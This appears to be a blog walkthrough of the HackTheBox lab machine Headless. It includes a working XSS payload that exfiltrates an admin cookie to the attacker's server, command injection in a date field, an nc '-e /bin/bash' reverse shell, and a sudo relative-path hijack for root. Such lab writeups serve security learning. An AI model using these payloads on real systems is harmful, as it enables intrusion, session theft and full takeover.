HackTheBox | Headless

In this walkthrough, I demonstrate how I obtained complete ownership of Headless on HackTheBox
HackTheBox | Headless
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Tue Jul  9 01:03:18 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt
Nmap scan report for
Host is up (0.016s latency).
Not shown: 65533 closed tcp ports (reset)
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 09 Jul 2024 05:03:31 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  9 01:05:04 2024 -- 1 IP address (1 host up) scanned in 105.75 seconds
No redirects or any hostnames in the output, but I'm going to make a record in my /etc/hosts file regardless, so that I can just type a hostname instead of a remembering an IP address.
echo -e '\t\theadless.htb' | sudo tee -a /etc/hosts

Service Enumeration


Happy Path Testing

Walking the “happy path” · Pwning OWASP Juice Shop
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
  • Clicking the button on the home page sends the client to /support making a HTTP GET request
  • Then, on the /support page we fill out the form with some test data and observe the behavior
    • The data is sent as Content-Type: application/x-www-form-urlencoded
    • There is an is_admin cookie that is submitted with the request
    • The form data is not reflected in the server response
This concludes the happy path testing, as we've nothing left to click around on, no forms to test inputs. We have some interesting observations up front with the form and the is_admin cookie.

Unhappy Path Testing

Gobuster Enumeration

We're going to have see about uncovering some "hidden" or unadvertised directories, pages, and other endpoints to try and find more data.

Directories and Files
gobuster dir -u http://headless.htb:5000 \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-o headless_5000.txt -t 100
/dashboard            (Status: 500) [Size: 265]
/support              (Status: 200) [Size: 2363]
Now, this could be where the is_admin cookie comes into play

Given the Server: Werkzeug/2.2.2 server response header, we know this is a Flask server and should be able to decode the cookie
I did try tampering with different values in the Cookie: header and using flask-unsign to try and crack the key used to sign the cookie, but was unable to make any advances

Form Testing

Test HTML tags to see what kind of filters might be in place
Test Jinja2 templating, as this is probably a Flask server
Both of these examples in the form input caused this warning, so there's some kind of WAF or filter on the form inputs.
If I URL-encode those same inputs, the filter / WAF is not triggered. For example, <h1>test</h1> is encoded to %3c%68%31%3e%74%65%73%74%3c%2f%68%31%3e. Further testing indicates that that filter only seems to apply to the message field as well.

I also tried adding some custom headers to see if they would be logged in the report and they are. So, we may have some control over what goes in the security report.

Also, there are some indications that there might be user interaction with the report data.

Testing the User Interaction Theory

PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings
Using an Ad-Hoc Nginx ... | 0xBEN | Notes
Set up Custom Logging sudo apt install -y libnginx-mod-http-lua Install Nginx LUA libraries su…

I'll be using this Nginx configuration shown here to catch some verbose server logs

# Fill out the form using curl
# Note the -F matches all the form fields in the HTML and Burp
# -H is our custom header containing a xSS payload
# src=x will trigger a load error, which will trigger onerror=...
# onerror="document.location=''" 
  # redirects the client to my web server running at my VPN IP address
# We use '"'"' to nest single quotes inside of single quotes

curl -s -b cookie.txt http://headless.htb:5000/support \
-F fname=test \
-F lname=test \
-F email='test@localhost' \
-F phone=5555555555 \
-F message='{{7*7}}' \
-H 'X-Custom-Header-1: <img src=x onerror="document.location='"'"''"'"'" />' > /dev/null

Interesting points in the server logs:

  • Remote Addr: is the target's IP, so a client on the server is making the request for the file
  • Referer: http://localhost:5000 the client requested some file at the target's root site before being referred to our server
  • user-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 indicates the HTTP client is a Firefox browser running on 64-bit Linux

Attempting to Steal Data from the Client

Note that the client is visiting http://localhost:5000 and then being referred to us by whatever file they fetched. Recall what happens when we visit http://headless.htb:5000...

We get a cookie from the server in the Set-Cookie: ... header. So, it stands to reason that the XSS victim may have a cookie worth stealing.
Note also that in the Set-Cookie header, there is no HttpOnly flag, meaning it can be retrieved using JavaScript, so the inline JavaScript in the onerror= attribute will trigger a read of the client-side cookie.
XSS (Cross Site Scripting) | HackTricks
curl -s -b cookie.txt http://headless.htb:5000/support \
-F fname=test \
-F lname=test \
-F email='test@localhost' \
-F phone=5555555555 \
-F message='{{7*7}}' \
-H 'X-Custom-Header-1: <img src=x onerror="document.location='"'"''"'"'+document.cookie" />' > /dev/null

We just add the +document.cookie to the end of the onerror= attribute to cause the client to read and send the data from its local cookie jar

Nice! We have the admin cookie!
If you're following along with the ad-hoc Nginx server, don't forget to follow the step to stop your server once finished

Accessing the Dashboard

In your browser, press CTRL + SHIFT + i or F12 to open the Developer Tools console. We're going to alter the cookie stored in our browser.

Double-click the data in the Value column and paste in the new cookie
Now, we have access to the dashboard page! The input box is simple here, taking only a date and returning only a simple status to us in the green bar.
I clicked Generate Report and captured the request in Burp. Then, I sent it to Repeater to test some different inputs manually. Initially, I'm noticing that characters such as ', ", <, >, (, ) seem to break the output on the page, with a server response length of 2000.

Taking that testing even further, I notice an opening $( also causes the same reaction, with a server response length of 2000. So, this particular input field seems to dislike common shell characters.
If I had to guess, this input field is passing the date input to the date command in the underlying system. So, $( is an opener to a sub-shell, which should allow us command execution.


Ping Test

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(ping -c 3' > /dev/null

Reverse Shell

sudo nc -lnvp 443

Start a TCP listener to catch data

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(man nc | grep "\-e" | nc -q 0 443)' > /dev/null

Run man nc on the target, grep for '-e', and send it over the TCP socket and quit after data is sent

We can see that nc on the target has the -e flag, which makes this very easy
sudo rlwrap nc -lnvp 443

Start another TCP listener to catch the reverse shell

curl -s -H 'Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0' http://headless.htb:5000/dashboard -F 'date=$(nc 443 -e /bin/bash)' > /dev/null

Connect using nc on the target and execute /bin/bash over the TCP socket

python3 -c "import pty; pty.spawn('/bin/bash')"
export TERM=linux

Quality-of-life improvements by spawning a TTY for more interactive prompts

Post-Exploit Enumeration

Operating Environment

OS & Kernel


Current User

uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)

Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck```



Users and Groups

Local Users


Local Groups


Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:05:ac brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet brd scope global dynamic eth0
       valid_lft 2876sec preferred_lft 2876sec
    inet6 dead:beef::250:56ff:fe94:5ac/64 scope global dynamic mngtmpaddr 
       valid_lft 86397sec preferred_lft 14397sec
    inet6 fe80::250:56ff:fe94:5ac/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0 *               LISTEN      -                   
tcp        0      0*               LISTEN      1102/geckodriver    
tcp        0      0*               LISTEN      1170/firefox-esr    
tcp        0      0*               LISTEN      1170/firefox-esr    
tcp6       0      0 ::1:631                 :::*                    LISTEN      -    

Privilege Escalation

Sudo Privilege Abuse

We can run password-less sudo on /usr/bin/syscheck, which is a bash script



if [ "$EUID" -ne 0 ]; then
  exit 1

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
  /usr/bin/echo "Database service is running."

exit 0
It's easy to miss, but if you read the code carefully, there's an obvious oversight with the invocation of ./initdb.sh. The ./ notation indicates that it will try to load initdb.sh relative to the current location of our user.
# /tmp is a globally writable directory
cd /tmp
# Create an impostor initdb.sh script here
echo -e '#! /bin/bash\n/bin/bash -ip' > initdb.sh
# Make it executable
chmod +x initdb.sh
We are root!





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.